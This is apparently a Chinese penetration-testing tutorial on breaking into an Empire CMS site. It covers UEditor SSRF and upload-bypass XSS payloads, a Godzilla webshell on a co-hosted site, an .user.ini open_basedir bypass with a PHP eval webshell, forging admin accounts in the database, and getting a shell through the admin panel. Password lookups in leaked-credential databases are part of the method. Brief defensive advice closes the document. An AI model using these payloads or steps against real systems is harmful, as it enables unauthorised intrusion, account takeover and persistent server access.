通过拿下旁站创建帝国cms后台账户
字数 1527 2025-08-27 12:33:23
帝国CMS渗透测试实战教学文档
0x01 信息收集阶段
1.1 基础信息探测
- 目标站点:http://www.xxxxx.org.cn
- CMS识别:通过路径特征识别为帝国CMS
- 常见后台路径:/e/admin
- 前台登录路径:/e/member/login/
- 版本推测:可能为帝国CMS 7.2版本(通过页面信息推断)
1.2 端口扫描发现
- 发现开放27017端口(MongoDB默认端口)
- 尝试空密码连接失败(注意:可能是误报,需验证)
1.3 用户信息收集
- 通过会员列表发现admin账户
- 通过/e/space/?userid=1获取用户邮箱信息
- 使用社工库(SGK)获取前台密码
0x02 漏洞利用阶段
2.1 UEditor漏洞利用
- 发现路径:/e/data/ecmseditor/ueditor/
- 版本确认:1.4.3(通过控制台执行
console.log(UE.version)) - SSRF漏洞:
/e/data/ecmseditor/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif - 文件上传绕过:
- 上传图片时抓包
- 修改
uploadimage为uploadfile - 修改文件后缀为xml
- 插入XSS payload:
<html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1);</something:script></body></html>
2.2 旁站攻击
- 通过HTTPS报错信息发现旁站:livexxxxxx.com
- 确认同服务器(通过ping检测相同IP)
- 旁站发现:
- 扫码登录功能
- 文件上传漏洞(可直接上传PHP文件)
- 使用哥斯拉Webshell成功获取权限
0x03 权限提升与横向移动
3.1 突破目录限制
- 环境限制:宝塔面板,disable_functions限制严格
- 绕过方法:
- 创建.user.ini文件:
open_basedir=:/- 创建user.php文件:
<?php eval($_POST["pass"]) ?>
3.2 数据库访问
- 配置文件路径:/e/config/config.php
- 使用哥斯拉连接数据库
- 发现228个站点共享同一数据库
0x04 帝国CMS后台账户创建分析
4.1 账户创建问题
- 直接数据库添加账户无法登录
- 通过分析源码发现需要满足以下条件:
- enewsuser表中必须有有效记录
- enewsuseradd表中必须有对应的userid记录
- 密码加密方式为
DoEmpireCMSAdminPassword($password,$salt,$salt2)
4.2 正确添加后台账户步骤
- 在enewsuser表中添加记录:
- 包含username, password, salt, salt2等字段
- password需使用
DoEmpireCMSAdminPassword函数加密
- 在enewsuseradd表中添加对应userid的记录
- 确保checked=0(表示已审核)
4.3 关键验证代码分析
// 密码验证
$ch_password=DoEmpireCMSAdminPassword($password,$user_r['salt'],$user_r['salt2']);
if($user_r['password']!=$ch_password) {
printerror("LoginFail","index.php");
}
// enewsuseradd表验证
$user_addr=$empire->fetch1("select userid,equestion,eanswer,openip,certkey from {$dbtbpre}enewsuseradd where userid='$user_r[userid]'");
if(!$user_addr['userid']) {
printerror("LoginFail","index.php");
}
0x05 后台getshell方法
5.1 通过备份数据查看phpinfo
- 利用后台备份功能获取服务器配置信息
5.2 系统模型导入漏洞
- 即使功能点被隐藏,仍可通过抓包改包利用
- 关键步骤:
- 拦截正常请求
- 修改为模型导入请求
- 插入恶意代码
0x06 防御建议
-
权限控制:
- 严格限制文件上传类型
- 禁用不必要的PHP函数
-
目录安全:
- 设置正确的open_basedir
- 防止目录遍历
-
帝国CMS加固:
- 修改默认后台路径
- 及时更新补丁
- 禁用不必要的编辑器功能
-
数据库安全:
- 使用强密码
- 限制远程连接
-
服务器安全:
- 定期检查旁站安全性
- 使用WAF防护常见攻击
0x07 总结
本案例展示了从信息收集到最终获取帝国CMS后台权限的完整渗透流程,重点包括:
- 通过旁站突破获取初始权限
- 利用.user.ini突破目录限制
- 分析帝国CMS账户验证机制
- 数据库直接添加后台账户的技术细节
渗透过程中体现了"迂回攻击"的思想,当直接攻击目标受阻时,通过旁站、目录突破等方式最终达成目标。